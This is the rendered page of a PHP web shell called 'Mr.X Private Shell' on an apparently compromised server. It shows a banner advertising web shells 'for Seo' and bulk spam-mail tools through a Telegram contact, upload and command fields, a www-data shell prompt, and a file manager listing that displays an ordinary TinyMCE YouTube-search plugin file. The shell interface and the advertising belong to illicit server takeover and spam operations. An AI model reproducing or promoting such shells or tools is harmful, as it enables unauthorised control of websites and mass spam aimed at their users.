__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
jQuery(document).ready(function($) {


	tinymce.PluginManager.add('test', function(editor, url) {
		
		
		editor.addButton('test', {
			
			image: url + '/test.png',
			tooltip: 'TEST',
			onclick: myTest
		});
		
		function myTest() {
			
			editor.windowManager.open({
					
				title: 'TEST',
				body: 
				[
					{
					
						type: "form",
						layout: 'grid',
						columns: 2,
						items: 
						[
							{
								label: "Search Terms",
								name: "queryinput",
								type: "textbox",
								size: 50
							},
							{
								text: "Search",
								name: "submit_button",
								type: "button",
								maxWidth: 60,
								//onClick: function() {alert('Hello World');}
								onClick: SearchYouTube()
							}
						]
					},
					{
						type: 'container',
						name: 'container',
						html: '<div id="search-results-block">TESTING...</div>',
						width: 100,
						height: 100
					}
				],
				
				// Submit window info back to tinymce editor
				onsubmit: function (t) {
					
					editor.execCommand('mceInsertContent', !1, 'TEST')
				}
			})
		}
		
		
		function SearchYouTube(query) {
			$.ajax({
				url: 'http://gdata.youtube.com/feeds/mobile/videos?alt=json-in-script&q=' + query,
				dataType: 'jsonp',
				success: function (data) {
					var row = "";
					for (i = 0; i < data.feed.entry.length; i++) {
						row += "<div class='search_item'>";
						row += "<table width='100%'>";
						row += "<tr>";
						row += "<td vAlign='top' align='left'>";
						row += "<a href='#' ><img width='120px' height='80px' src=" + data.feed.entry[i].media$group.media$thumbnail[0].url + " /></a>";
						row += "</td>";
						row += "<td vAlign='top' width='100%' align='left'>";
						row += "<a href='#' ><b>" + data.feed.entry[i].media$group.media$title.$t + "</b></a><br/>";
						row += "<span style='font-size:12px; color:#555555'>by " + data.feed.entry[i].author[0].name.$t + "</span><br/>";
						row += "<span style='font-size:12px' color:#666666>" + data.feed.entry[i].yt$statistics.viewCount + " views" + "<span><br/>";
						row += "</td>";
						row += "</tr>";
						row += "</table>";
						row += "</div>";
					}
					document.getElementById("search-results-block").innerHTML = row;
				},
				error: function () {
					alert("Error loading youtube video results");
				}
			});
			return false;
		}
		
	});
});

Filemanager

Name Type Size Permission Actions
plugin.js File 2.3 KB 0644
Filemanager